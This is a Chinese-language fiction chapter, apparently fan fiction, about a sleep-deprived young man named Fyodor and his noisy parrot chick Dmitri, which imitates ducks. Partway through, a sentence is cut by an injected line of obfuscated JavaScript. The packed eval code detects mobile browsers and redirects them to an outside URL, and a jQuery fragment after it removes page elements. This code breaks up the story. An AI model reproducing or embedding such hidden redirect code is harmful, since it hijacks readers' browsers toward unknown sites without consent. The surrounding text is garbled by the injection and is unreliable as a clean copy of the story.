“嘎嘎！嘎嘎！”俄国某地区，一户人家时常传来鸭子般粗粝的叫声，吵吵闹闹的，扰得人不得安宁。
邻居们有时也不胜其烦，便来敲这户人家的门。来开门的是一位脸色苍白、显得有些憔悴的青年，头上戴着一顶毛绒帽。眼下正是初春，因而这幅打扮倒是不显得奇怪。
“啊，抱歉，是我的家人在叫嚷。”青年听了邻居的诉求，温和地说道，“它叫做德米特里，是一只非洲灰鹦鹉，我两个月前收养了它，明明之前都是好好的，近期不知怎的，突然开始学鸭子嘎嘎叫。”
邻居是一位卷发披在肩上的中年妇女，附近的人们都叫她玛利亚夫人。玛利亚夫人听了青年的话，一开始还疑惑，对方的家人怎么会像鸭子一样叫唤？听着对方后面的解释，也理解了。
很多人都将宠物当做家人，像是猫儿、狗儿，所以对方将一只鹦鹉称作家人也不奇怪。因着对方诚恳的道歉，玛利亚太太倒是没有多做纠缠，只是好奇地询问起了有关德米特里的事。
“哦，原来如此，它叫德米特里，听上去真是个聪慧的男孩。我听说非洲灰鹦鹉是一种非常聪明的鸟儿，它知道德米特里是它的名字吗？”玛利亚太太忍不住追问起来，“我是说，你叫它名字，它会应吗？”
费奥多尔笑了笑，说道，“当然。它听得懂自己的名字，不过有时候我叫它，它也会装作听不见。”
“这又是为什么呢？”
“谁知道呢。”费奥多尔耸了耸肩，“也许是因为我手上没有拿着它爱吃的坚果吧。哎呀，不说了，德米特里又在吵了，我得回去看一下它。”
“调皮的男孩！”玛利亚太太说道，“你快回去吧。我也去买菜了。”
两人就此别过，费奥多尔回到了自己的家。在两个月前，也就是收养德米特里的时候，他搬到了阿尔泰边疆区，从本地一户人家手里买下了一栋三层楼的小别墅。
回到家里，原本只是隐隐响着的“嘎嘎”声就变得更加猛烈了，一只幼年的看不出品种的鸟类一见到费奥多尔回来，就叫得更大声了。它待在一个没上锁的笼子里，每次叫唤，脖子都会发生伸缩，看起来就像一个快速缩起、抬升的长毛弹簧。
费奥多尔一见到它就有种叹气的冲动，而他确实也这么做了。
“过来，德米特里。”他有气无力地说道，“你知道你又给我惹麻烦了吗？上次，你对着窗户外面发出怪叫，结果引来了一只鹰，差点就被抓走了。现在，你又不知道从哪里学来了鸭子的叫声，改成折磨我了，我已经几天没睡好觉了。”
“咕，咕咕。”浑身覆盖着灰色绒毛的幼鸟发出咕叽咕叽的叫声，像是不明所以似的，歪着头看着饲养人，浅灰色的虹膜在光线下显得有点亮晶晶的，一副无辜的样子，叫人不舍得大声凶它。
费奥多尔倒是没有凶它的意思，只是觉得无比疲惫。早在最开始收养德米特里的时候，他还会尝试驯服这只聒噪的鹦鹉，试图让它变得乖巧起来，现在他却已经没了那个意思，因为德米特里实在是太能折磨人了。
之前的事暂且不提，单就这几天，德米特里由于某些缘故，疯狂学鸭子嘎嘎叫，费奥多尔就算把自己关进地下室，都能听到那穿透性极强的叫声，就连隔着一百多米的邻居，都受不了跑来找他投诉，殊不知他才是受德米特里折磨最严重的人。
这两天，他几乎要疯掉了，睁着黑眼圈极重的眼睛，瞪着眼前泛着白光的电脑屏幕，毫不怀疑自己已经被德米特里害得精神衰弱了。在最崩溃的那一刻，他甚至想过要与这只可恶的鹦鹉同归于尽。
不过他最后还是忍住了，仅剩的理智阻止了他这么做。
他试了很多种办法，想要让德米特里安静下来。但是以往管用的坚果失去了效用，德米特里好像突然对坚果失去了兴趣，费奥多尔用坚果喂它，它倒是来者不拒，只不过吃完之后还是在叫嚷，治标不治本。
费奥多尔听得久了，甚至有种淡淡的习惯，他觉得如果德米特里坚持得再久一些，他说不定可以做到在德米特里持续不断的魔音贯耳中进入深度睡眠。曾经困扰他的失眠症已经不再是烦恼，这都得谢谢德米特里，费奥多尔必须抓紧时间睡觉，才不至于被德米特里打断休息。
休息已经变成了争分夺秒的事情，费奥多尔此时已经有点回忆不起来彻夜的失眠是什么样的感受了，现在只要给他一个安静的环境，还有一张不算太糟糕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193404|181131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的床、稻草铺成的也行，他就能在五秒之内进入梦乡——没有一点夸张的成分。
“……咕咕，咕咕咕。”德米特里见费奥多尔不说话了，慢慢地挪动到笼子边缘，浅灰色的眼睛一眨不眨地看着他，断断续续地发出可怜兮兮的叫声，如果不是费奥多尔早就知道它是个什么德行，恐怕都要被它装模作样的样子骗了，误以为它是一只乖巧的小鹦鹉了。
“……说了让你别模仿其他鸟的叫声，德米特里。”费奥多尔说道。邻居家养了几只鸡，总是咕咕的叫，德米特里大概就是听到了，才学会了咕咕。
德米特里歪着头，不作声，在费奥多尔伸出手接它的时候蹦跶到了手上，然后整只鸟蹲下来，看起来就像一个灰色的毛球。
费奥多尔跟它大眼瞪小眼地僵持了一会儿，以往这种情况，德米特里都会昂着脑袋，非要他眨眼了才肯眨眼，出乎意料，这次是德米特里先眨眼……不对，闭眼了。
就像世界上的大多数幼崽一样，平时精力充沛的雏鸟这回毫无征兆地睡着了，天知道，这是它三天以来的第一次睡眠，而费奥多尔对这一时刻期待已久——它终于安静下来了！
看着它终于缓慢地阖上了眼，费奥多尔下意识将呼吸放轻了。他看向鸟笼里的小窝，那是德米特里睡的地方。他小心翼翼地幼鸟放进窝里，大气也不敢出地看着它颤动的眼皮，担心下一秒它就会睁开眼睛——那一定是费奥多尔最不想见到的事。
好在，它这回终于有了雏鸟的样子，闭眼之后就睡得很熟。鹦鹉睡着的样子看起来很温驯，一点也没有平时闹翻天的样子。
费奥多尔拖着沉重的脚步，黑眼圈重得要命，朝着卧室走去，走到一半，不知想到了什么，又回到鸟笼前面看了一眼，见雏鸟依旧睡着，才下意识松了口气。本想去睡觉，没走几步，又回头轻轻地关上了笼子门，否则德米特里醒来后或许会从笼子跑出来。
解决完一切可能的隐患之后，费奥多尔总算可以开始享受难得的睡眠了。几乎在后脑勺沾到枕头的一瞬间，他大脑里装着的所有复杂的事物——比如一些见不得人的袭击计划，还有组织周密的行动部署，都被立刻清空了。
他睡着了。